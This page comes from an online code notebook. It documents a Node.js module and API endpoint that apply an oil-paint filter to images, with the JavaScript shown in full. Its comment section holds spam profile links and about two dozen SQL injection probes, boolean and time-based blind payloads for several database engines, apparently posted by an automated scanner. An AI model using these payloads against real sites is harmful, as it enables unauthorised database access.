Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Oil Paint Filter

node v8.17.0
version: 17.0.0
endpointsharetweet
This is a requirable node module, rich documentation, and a *LIVE* API. To require it, use require("notebook")("tolmasky/oil-paint-filter/16.0.0"). To access it as an API, go to https://tonicdev.io/tolmasky/oil-paint-filter/16.0.0?url=IMG_URL (you can also post data to it) What follows is Literate Documentation: This an implementation of an oil paint filter. Takes in a buffer and returns a buffer. This is a port of the C# tutorial http://softwarebydefault.com/2013/06/29/oil-painting-cartoon-filter/, using the filter tutorial found at http://www.html5rocks.com/en/tutorials/canvas/imagefilters/ We'll set up our exports, and also just run it right in this document so we can see the result.
var R = require("ramda"); // For requires module.exports = oilPaintFilter; // For endpoint, we we can accept POST data. module.exports.tonicEndpoint = oilPaintFilterEndpoint; // If we're not endpoint, let's go ahead and show a pretty horse. if (!process.env.TONIC_MOUNT_PATH) { var notebook = require("notebook"); var googleSearch = notebook("tolmasky/google-image-search/3.0.0"); var horseBuffer = await googleSearch("horse (domestic)") await (oilPaintFilter(horseBuffer)); }
This is our main export. We take a buffer, run it through our filter, and return the buffer. This is a simplication of our more sophisticated filter function below. Perhaps later we should provide the same customizability instead of, or as well as, this one with all the presets already selected.
function oilPaintFilter(aBuffer) { var size = require('image-size')(aBuffer); var canvas = new (require("canvas"))(size.width, size.height); var context = canvas.getContext("2d"); var image = new (require("canvas").Image)(); image.src = aBuffer; context.drawImage(image, 0, 0, size.width, size.height); context.putImageData(oilPaint(context, size, 13, 5), 0, 0); return canvas.toBuffer(); };
This is our endpoint function. We grab the POST data, and then run it through our main function.
async function oilPaintFilterEndpoint(req, res) { var url = require('url').parse(req.url, true).query.url; var body = null; if (url) { var result = await require("got")(url, { encoding: null }); body = result.body; } else { var getRawBody = require("raw-body"); var body = await getRawBody(req); } var buffer = oilPaintFilter(body); res.writeHead(200, {'Content-Type': require("image-type")(buffer)}); res.end(buffer); }
The real work. We actually support more customization here which we hide to the outside world (levels and filter size). Perhaps we could split this out into a separate function for users that want more control.
function oilPaint(aContext, size, levels, filterSize) { levels = levels - 1; var filterOffset = Math.floor((filterSize - 1) / 2); var byteOffset = 0; var calcOffset = 0; var currentIntensity = 0; var maxIntensity = 0; var maxIndex = 0; var imageData = aContext.getImageData(0, 0, size.width, size.height); var pixelBuffer = imageData.data; var resultImageData = aContext.createImageData(imageData); var resultBuffer = resultImageData.data; for (var i = 0; i < pixelBuffer.length; ++i) resultBuffer[i] = pixelBuffer[i]; var toPixel = (x, y) => x * 4 + y * size.width * 4; for (var offsetY = filterOffset; offsetY < imageData.height - filterOffset; offsetY++) { for (var offsetX = filterOffset; offsetX < size.width - filterOffset; offsetX++) { var blue = 0; var green = 0; var red = 0; var currentIntensity = 0; var maxIntensity = 0; var maxIndex = 0; var intensityBin = R.times(() => 0, levels + 1); var blueBin = R.times(() => 0, levels + 1); var greenBin = R.times(() => 0, levels + 1); var redBin = R.times(() => 0, levels + 1); var byteOffset = toPixel(offsetX, offsetY); for (var filterY = -filterOffset; filterY <= filterOffset; filterY++) { for (var filterX = -filterOffset; filterX <= filterOffset; filterX++) { var calcOffset = byteOffset + toPixel(filterX, filterY); var currentIntensity = Math.round(( (pixelBuffer[calcOffset] + pixelBuffer[calcOffset + 1] + pixelBuffer[calcOffset + 2]) / 3.0 * (levels)) / 255.0); intensityBin[currentIntensity] += 1; blueBin[currentIntensity] += pixelBuffer[calcOffset]; greenBin[currentIntensity] += pixelBuffer[calcOffset + 1]; redBin[currentIntensity] += pixelBuffer[calcOffset + 2]; if (intensityBin[currentIntensity] > maxIntensity) { maxIntensity = intensityBin[currentIntensity]; maxIndex = currentIntensity; } } } var blue = blueBin[maxIndex] / maxIntensity; var green = greenBin[maxIndex] / maxIntensity; var red = redBin[maxIndex] / maxIntensity; resultBuffer[byteOffset] = ClipByte(blue); resultBuffer[byteOffset + 1] = ClipByte(green); resultBuffer[byteOffset + 2] = ClipByte(red); resultBuffer[byteOffset + 3] = 255; } } return resultImageData; } function ClipByte(byte) { return byte > 255 ? 255 : byte < 0 ? 0 : byte; }
Loading…

27 comments

  • posted 2 years ago by olddynasty
    https://www.facebook.com/fabian.silvacardenas.3?mibextid=ZbWKwL
  • posted 2 years ago by olddynasty
    https://www.facebook.com/olddynastysilba?mibextid=ZbWKwL
  • posted 2 years ago by olddynasty
    https://youtube.com/@OLDDYNASTYSILVA
  • posted a day ago by xsjybldb
    1
  • posted a day ago by xsjybldb
    -1 OR 2+762-762-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1 OR 2+797-797-1=0+0+0+1
  • posted a day ago by xsjybldb
    -1' OR 2+628-628-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    -1' OR 2+520-520-1=0+0+0+1 or '5kqZdbiX'='
  • posted a day ago by xsjybldb
    -1" OR 2+874-874-1=0+0+0+1 --
  • posted a day ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a day ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a day ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a day ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a day ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    H4bZpTP0'; waitfor delay '0:0:15' --
  • posted a day ago by xsjybldb
    -5 OR 857=(SELECT 857 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -5) OR 145=(SELECT 145 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    -1)) OR 491=(SELECT 491 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    QtaoK7rk' OR 311=(SELECT 311 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    hYiZOAHr') OR 539=(SELECT 539 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    GrybFqku')) OR 833=(SELECT 833 FROM PG_SLEEP(15))--
  • posted a day ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a day ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a day ago by xsjybldb
    1'"
  • posted a day ago by xsjybldb
    @@HbXUP

sign in to comment